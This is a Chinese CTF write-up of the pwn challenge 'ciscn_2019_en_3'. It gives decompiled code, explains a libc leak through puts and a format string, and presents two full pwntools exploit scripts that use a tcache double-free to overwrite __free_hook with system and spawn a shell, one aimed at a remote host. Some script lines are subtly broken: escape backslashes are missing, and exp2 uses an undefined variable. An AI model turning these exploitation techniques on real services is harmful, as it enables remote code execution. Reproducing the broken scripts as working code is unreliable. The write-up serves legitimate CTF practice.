ciscn_2019_en_3

sub_DAF:

unsigned __int64 sub_DAF()
{
  unsigned __int64 result; // rax
  int v1; // [rsp+Ch] [rbp-44h]
  char s; // [rsp+10h] [rbp-40h]
  char buf; // [rsp+20h] [rbp-30h]
  unsigned __int64 v4; // [rsp+48h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("Welcome to the story kingdom.");
  puts("What's your name?");
  read(0, &buf, 0x20uLL);
  _printf_chk(1LL, (__int64)&buf);
  puts("Please input your ID.");
  read(0, &s, 8uLL);
  puts(&s);
  while ( 1 )
  {
    sub_B7D();
    _isoc99_scanf("%d", &v1);
    getchar();
    switch ( (unsigned int)off_1144 )
    {
      case 1u:
        add();
        break;
      case 2u:
        edit();
        break;
      case 3u:
        show();
        break;
      case 4u:
        delete();
        break;
      case 5u:
        puts("Goodbye~");
        exit(0);
        return result;
      default:
        puts("Wrong choice!");
        return __readfsqword(0x28u) ^ v4;
    }
  }
}

add:

unsigned __int64 add()
{
  int v0; // ebx
  int v2; // [rsp+4h] [rbp-1Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-18h]

  v3 = __readfsqword(0x28u);
  if ( count > 16 )
    puts("Enough!");
  puts("Please input the size of story: ");
  _isoc99_scanf("%d", &v2);
  if ( v2 < 0 && v2 > 80 )
    exit(0);
  *((_DWORD *)&unk_202060 + 4 * count) = v2;
  v0 = count;
  heap[2 * v0] = malloc(v2);
  puts("please inpute the story: ");
  read(0, heap[2 * count], v2);
  ++count;
  puts("Done!");
  return __readfsqword(0x28u) ^ v3;
}

delete:

unsigned __int64 delete()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Please input the index:");
  _isoc99_scanf("%d", &v1);
  free(heap[2 * v1]);
  puts("Done!");
  return __readfsqword(0x28u) ^ v2;
}

程序就这两个功能,edit和show都是假的。

checksec:

 一片绿以为还是堆题的传统艺能,没有注意到多了一个FORITY,查了一下。主要是用于防溢出。开启FORTIFY时,一些敏感函数会被替换成下图的

_xxxx_chk格式进行溢出检查。同时%n$x类型的fmt利用会被拦截

FORTIFY详情移步https://www.freebuf.com/vuls/248330.html

注意到了最下方的puts函数,根据puts的特性,只要输入八个byte就能把&s的下一个地址的值带出来

 _printf_chk是有fmt漏洞的。%n$x不能利用但并不影响我泄露栈的数据。可以用箭头所指的两个函数计算libc,这里就用第一个setbuf

而&s的下一个地址刚好是setbuffer+231。可以根据这个得到libc

后面就是常规的tcache double free

两种方法的exp如下

 exp1(puts泄漏地址):

#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
#a=remote("node3.buuoj.cn",25764)
#g=gdb.debug("/root/ciscn")
a=process("/root/ciscn")
elf=ELF("/root/ciscn")
libc=ELF("libc-2.27.so")

def add(size,story):
    a.sendlineafter('choice:','1')
    a.sendlineafter('story:',str(size))
    a.sendlineafter('story:',story)
def delete(idx):
    a.sendlineafter('choice:','4')
    a.sendlineafter('index:',str(idx))
a.sendlineafter("What's your name?","remon535")
a.recv(0x5f)
setbuffer=u64(a.recvuntil('x7f')[-6:].ljust(8,'x00'))-231
a.sendlineafter("Please input your ID.",'aaaaaaaa')

libc_base=setbuffer-libc.symbols['setbuffer']
print hex(libc_base)

free=libc_base+libc.sym['__free_hook']
sys=libc_base+libc.sym['system']
add(0x20,'aaaa')
add(0x20,'/bin/shx00')
delete(0)
delete(0)
add(0x20,p64(free))
add(0x20,'a')
add(0x20,p64(sys))
delete(1)
#gdb.attach(a)
a.interactive()

exp2(fmt泄漏地址):

#!/usr/bin/python
#coding:utf-8

from pwn import *
context.log_level = 'debug'
a=remote("node3.buuoj.cn",25764)
#g=gdb.debug("/root/ciscn")
#a=process("/root/ciscn")
elf=ELF("/root/ciscn")
libc=ELF("libc-2.27.so")

def add(size,story):
    a.sendlineafter('choice:','1')
    a.sendlineafter('story:',str(size))
    a.sendlineafter('story:',story)
def delete(idx):
    a.sendlineafter('choice:','4')
    a.sendlineafter('index:',str(idx))
a.sendlineafter("What's your name?","%p%p%p%p%p%p")
setbuf=int(a.recvuntil('Please')[51:65],16)-9
print setbuffer
a.sendlineafter("ID.",'123')



libc_base=setbuffer-libc.symbols['_IO_file_setbuf']
print hex(libc_base)

free=libc_base+libc.sym['__free_hook']
sys=libc_base+libc.sym['system']
add(0x20,'aaaa')
add(0x20,'/bin/shx00')
delete(0)
delete(0)
add(0x20,p64(free))
add(0x20,'a')
add(0x20,p64(sys))
delete(1)
#gdb.attach(a)
a.interactive()
原文地址:https://www.cnblogs.com/remon535/p/14122719.html